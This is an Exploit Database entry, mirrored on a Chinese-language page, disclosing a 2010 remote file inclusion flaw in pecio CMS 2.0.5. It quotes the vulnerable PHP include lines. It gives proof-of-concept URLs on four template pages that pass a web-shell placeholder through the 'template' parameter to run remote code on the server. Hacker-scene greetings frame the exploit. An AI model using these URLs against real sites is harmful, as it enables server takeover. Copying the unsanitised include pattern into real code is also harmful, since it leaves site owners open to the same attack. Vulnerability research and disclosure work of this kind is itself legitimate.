pecio CMS 2.0.5 – Multiple Remote File Inclusions

• Exploit Database
• 116 阅读

• 作者： eidelweiss
  日期： 2010-08-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14815/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44

  ====================================================================== pecio CMS v2.0.5 (template) Multiple Remote File Include Vulnerability ======================================================================   Software Link: http://pecio-cms.com/ Download: http://pecio-cms.com/pec_upload/files/pecio-2.0.5.zip Author: eidelweiss Contact: g1xsystem[at]windowslive.com   Original Advisories: http://eidelweiss-advisories.blogspot.com/2010/08/pecio-cms-v205-template-multiple-remote.html   Greetz: Inj3ct0r.com (Inj3ct0r Exploit DataBase), YOGYACARDERLINK, and all Indonesian Hacking Community. Special Thank<code>s To: iwe a.k.a KirD , PKI a.k.a Andri klaten, m4rc0 (Thx so much,you know why and i</code>ll never forget you all)   ================================================================   Pecio is a content management system written in PHP with the intention to be a small, simple and lightweight cms for people who want to create websites including old-style information and new-style blog part. It doesn&apos;t mainly focus on ease of use and full featured user experience but rather on being a flexible and lightweight content editing solution for web masters.   ================================================================   -=[ Vuln c0de ]=-   <?php include(&apos;pec_templates/&apos; . $pecio->get(&apos;template&apos;)->get_directory_name() . &apos;/header.php&apos;); ?>   <?php include(&apos;pec_templates/&apos; . $pecio->get(&apos;template&apos;)->get_directory_name() . &apos;/footer.php&apos;); ?>   ================================================================   -=[ p0c ]=-   http://sample.site/pecio_path/pec_templates/nova-blue/post.php?template= [inj3ct0r sh3ll] http://sample.site/pecio_path/pec_templates/nova-blue/article.php?template= [inj3ct0r sh3ll] http://sample.site/pecio_path/pec_templates/nova-blue/blog.php?template= [inj3ct0r sh3ll] http://sample.site/pecio_path/pec_templates/nova-blue/home.php?template= [inj3ct0r sh3ll]   ================================================================   Nb: Script kiddies please learn more about RFI vulnerability, its not just about include and require. if just need or want to get name or exist , so people call you hacker after post or publish shit exploits it`s wrong way i thing !!!   =========================| =[Hacking Is Art]=- |======================